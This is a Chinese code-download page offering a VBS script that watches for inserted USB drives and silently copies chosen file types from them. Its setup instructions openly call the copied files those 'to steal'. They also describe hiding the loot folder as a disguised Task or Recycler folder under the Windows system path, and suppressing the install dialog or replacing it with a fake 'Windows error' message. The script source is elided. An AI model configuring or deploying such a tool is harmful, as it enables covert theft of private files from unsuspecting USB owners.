资源简介
一、右键单击,选择编辑
oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加,用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 0 '将保存的文件夹进行伪装 1为task文件夹,2为recycler文件夹,0为不伪装
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环
二、保存后运行
会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox "安装成功"”注释掉。
此时脚本已经在循环监测U盘的插入
三、插入U盘
U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。
如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉
四、寻找文件
此时,文件已经在目标文件夹中。我将oType 设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。
这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。
ww
这时就能打开文件夹看到其中的内容。
Copy.log记录的是原文件及复制后的文件。
vbs代码
以下是源代码:
……
代码片段和文件信息
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 3747 2012-02-15 20:14 自动复制U盘文件的VBS脚本.txt
----------- --------- ---------- ----- ----
3747 1
----------- --------- ---------- ----- ----
文件 3747 2012-02-15 20:14 自动复制U盘文件的VBS脚本.txt
----------- --------- ---------- ----- ----
3747 1
- 上一篇:vb.net用户界面设计
- 下一篇:设备管理系统 VB
相关资源
- VB 编写自动点击鼠标前后台
- VBA自动生成代码工具
- vb.net宽带公网IP更新邮件通知发送器
- 公文自动排版VBA代码.docx
- 计算机自动出卷系统
- G代码自动生成
- VB与欧姆龙PLC通过RS-232串口通讯的上位
- Excel自动计算熵权法指标权重值-VBA代
- ahp层次分析法权重自动计算模板
- vbs调用runas自动输入密码无需批处理
- VB+Flash操作题自动判分源码+说明
- vbs模拟键盘鼠标实现谷歌浏览器打开
- vb自动报警系统源码
- VB.NET实现的谷歌翻译接口,用HttpWeb
- VB编写的自动化控制程序内有控制程序
- VB对OFFICE操作题自动化阅卷(含源码
- 论坛自动签到小程序
- EXCEL文档自动切割并转换为多个CSV格式
- VBA操作网页读取数据自动填入EXCEL表中
- 徕卡DNA03电子水准仪原始数据处理自动
- 自动排课系统源码vb
- VB6.0编制的万能程序自动更新重启源码
- Word光速排版(VB6源码)
- 桌面图标自动排列的vbs工具
- vb.net像QQ一样自动边缘隐藏窗体
- 自动点击某窗口的按钮(VB源码)
- excel VBA自动展开BOM 物料明细表,MRP
- VB.NET2010自动更新基于FTP
- VBA实现对多个excel文件复制黏贴到汇总
- 客户端自动升级程序VB开源
评论
共有 条评论